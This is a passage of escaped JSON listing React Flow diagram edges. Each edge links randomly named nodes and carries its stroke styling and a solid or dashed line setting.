\"yJygbi8cnp3oz2EFl2MR0\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"SJf9e7SQnzYVHoRWl0i6P\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-yJygbi8cnp3oz2EFl2MR0x2-SJf9e7SQnzYVHoRWl0i6Pw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"ocnvHsixvBpr2fvjtqFmU\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vfypDCmYXeqPxm6lIly2r\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-ocnvHsixvBpr2fvjtqFmUy2-vfypDCmYXeqPxm6lIly2rz1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"aSYXa25_0O2qQl1O-N3xl\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"vfypDCmYXeqPxm6lIly2r\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-aSYXa25_0O2qQl1O-N3xlx2-vfypDCmYXeqPxm6lIly2rw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vfypDCmYXeqPxm6lIly2r\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KdFYmj36M2jrGfsYkukpo\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-vfypDCmYXeqPxm6lIly2rx2-KdFYmj36M2jrGfsYkukpow1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NCnKS435DCl-8vilr1_XE\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"m-F-rL3KxWjCEMSGH4ao8\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NCnKS435DCl-8vilr1_XE\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"1YdXr1gEC_3la-XgTW-VZ\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KdFYmj36M2jrGfsYkukpo\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NCnKS435DCl-8vilr1_XE\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KdFYmj36M2jrGfsYkukpox2-NCnKS435DCl-8vilr1_XEw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"vfypDCmYXeqPxm6lIly2r\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"sUEZHmKxtjO9gXKJoOdbF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-vfypDCmYXeqPxm6lIly2rz2-sUEZHmKxtjO9gXKJoOdbFy1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7Q6_tdRaeb8BgreG8Mw-a\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"6vn45DPSF4LME8iAVgb7n\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7Q6_tdRaeb8BgreG8Mw-a\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"bdK-LKSolsTikpYMEoUFZ\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sUEZHmKxtjO9gXKJoOdbF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7Q6_tdRaeb8BgreG8Mw-a\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-sUEZHmKxtjO9gXKJoOdbFx2-7Q6_tdRaeb8BgreG8Mw-aw2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"sUEZHmKxtjO9gXKJoOdbF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"x6KFf4akYuUYkNhrUwj1r\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-sUEZHmKxtjO9gXKJoOdbFy2-x6KFf4akYuUYkNhrUwj1rz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8O1AgUKXe35kdiYD02dyt\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"KzJBsCu-sTjA6Hg7gQ3LX\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8O1AgUKXe35kdiYD02dyt\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"CyDjjcexQRjnFYv7ONTAu\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"x2\",\n      \"target\": \"8O1AgUKXe35kdiYD02dyt\",\n      \"targetHandle\": \"w2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"8mjeJK7m7xXdMsvRX7Rkr\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"UKi3waPx2pozvZf2aQ52s\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVky2-oWXfov-mOF47d7Vffyp3tz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WItTQ1QboHoRkqeHJzCM9\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVky2-WItTQ1QboHoRkqeHJzCM9z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"hPJM4QXxeqTxPlvJ2_D3_\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVky2-hPJM4QXxeqTxPlvJ2_D3_z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"4ZvzY_xGO5BZOmfqj0TTq\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVky2-4ZvzY_xGO5BZOmfqj0TTqz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"GvmXdWiwITgWzx_f5_ick\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"-6cf3RT4-cbwvLYIkCosF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-GvmXdWiwITgWzx_f5_ickz2-usorG1GkkvGAZ0h_AGHVky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-6cf3RT4-cbwvLYIkCosF\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"d_dKF87OnRWoWj3Bf1uFf\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVkw2-d_dKF87OnRWoWj3Bf1uFfx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"-6cf3RT4-cbwvLYIkCosF\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"usorG1GkkvGAZ0h_AGHVk\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge--6cf3RT4-cbwvLYIkCosFy2-usorG1GkkvGAZ0h_AGHVkz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usorG1GkkvGAZ0h_AGHVk\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"RQk3uOikjQYRyTu7vuAG7\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVkw2-RQk3uOikjQYRyTu7vuAG7x1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"usorG1GkkvGAZ0h_AGHVk\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"bOPFruKA5esJUu-fJLp8n\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-usorG1GkkvGAZ0h_AGHVky2-YUpo12YGiraLuyN0EHBKez1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bOPFruKA5esJUu-fJLp8n\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"B1IdobUaGeBLI2CgsFg8H\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YUpo12YGiraLuyN0EHBKew2-71BBFjaON1NJi4rOHKW6Kx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"w2\",\n      \"target\": \"uzMfR6Yd9Jvjn8i5RpC1Q\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"z6tmV0mQzptPliCG1PrSv\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bOPFruKA5esJUu-fJLp8n\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"bRzzc137OlmivEGdhv5Ew\",\n      \"targetHandle\": \"y2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YUpo12YGiraLuyN0EHBKez2-71BBFjaON1NJi4rOHKW6Ky2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"bRzzc137OlmivEGdhv5Ew\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"rLDRkUht9K1m4noMAIgKU\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-71BBFjaON1NJi4rOHKW6Kw2-lG1FH7Q-YX5pG-7mMtbSRx1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"pEMNcm_wJNmOkWm57L1pA\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"iPaFjacZ7hSWriSEqUmHc\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5z2-71BBFjaON1NJi4rOHKW6Ky1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iPaFjacZ7hSWriSEqUmHc\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"ioEUqMXOt-mn_6zB2xIBx\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-71BBFjaON1NJi4rOHKW6Kw2-ioEUqMXOt-mn_6zB2xIBxx2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"8aiLVG4clveX1Luiehvxr\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"XQC0tqplAFnKQUcvA4tzw\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"w2\",\n      \"target\": \"7jS0tkU5hNdpA8DsxlsVl\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"yKTYR4oHKCszmKyuvYNdu\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"71BBFjaON1NJi4rOHKW6K\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"7jS0tkU5hNdpA8DsxlsVl\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-71BBFjaON1NJi4rOHKW6Kx2-7jS0tkU5hNdpA8DsxlsVlw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"iPaFjacZ7hSWriSEqUmHc\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"71BBFjaON1NJi4rOHKW6K\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-iPaFjacZ7hSWriSEqUmHcx2-71BBFjaON1NJi4rOHKW6Kw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TGXPxTFv9EhsfS5uWR5gS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ZWkpgvXIzjN3_fOyhVEv0\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-TGXPxTFv9EhsfS5uWR5gSy2-CfYvM0PZsFAhAMrghgvmZz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TGXPxTFv9EhsfS5uWR5gS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"WIH216mHg2OiSebzQYI-f\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-TGXPxTFv9EhsfS5uWR5gSy2-WIH216mHg2OiSebzQYI-fz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"TGXPxTFv9EhsfS5uWR5gS\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"l2P44pL9eF8xarBwC_CVO\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-TGXPxTFv9EhsfS5uWR5gSy2-l2P44pL9eF8xarBwC_CVOz2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"lG1FH7Q-YX5pG-7mMtbSR\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"NWxAxiDgvlGpvqdkzqnOH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-lG1FH7Q-YX5pG-7mMtbSRx2-NWxAxiDgvlGpvqdkzqnOHw1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"71BBFjaON1NJi4rOHKW6K\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"YUpo12YGiraLuyN0EHBKe\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-71BBFjaON1NJi4rOHKW6Ky2-YUpo12YGiraLuyN0EHBKez2\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"YUpo12YGiraLuyN0EHBKe\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-YUpo12YGiraLuyN0EHBKey2-g3M6nfLr0DMcn-NCFF7nZz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"selected\": false,\n      \"id\": \"reactflow__edge-g3M6nfLr0DMcn-NCFF7nZx2-LwNa3u9Lf88ju5w7CvSN5w1\",\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"6ubk20TBIL3_VrrRMe8tO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-g3M6nfLr0DMcn-NCFF7nZy2-mWcMSKnUQamUykBxND-Juz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"7IJO_jDpZUdlr_n5rBJ6O\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-g3M6nfLr0DMcn-NCFF7nZy2-7IJO_jDpZUdlr_n5rBJ6Oz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"g3M6nfLr0DMcn-NCFF7nZ\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"RLf08xKMjlt6S9-MFiTo-\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-g3M6nfLr0DMcn-NCFF7nZy2-RLf08xKMjlt6S9-MFiTo-z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"pGJrCyYhLLGUnv6LxpYUe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-pGJrCyYhLLGUnv6LxpYUez1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"mWcMSKnUQamUykBxND-Ju\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-mWcMSKnUQamUykBxND-Juz1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"omnUSgUHZg2DmnOUJ0Xo1\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-LwNa3u9Lf88ju5w7CvSN5y2-omnUSgUHZg2DmnOUJ0Xo1z1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"xy9Kqtwrh5IhYHaqEhvl_\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"LwNa3u9Lf88ju5w7CvSN5\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-xy9Kqtwrh5IhYHaqEhvl_x2-LwNa3u9Lf88ju5w7CvSN5w1\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"y2\",\n      \"target\": \"oGTIvAY3zYgoiC63FQRSd\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"8E6LZFsFToU3brPfR6iY2\",\n      \"selected\": false,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n   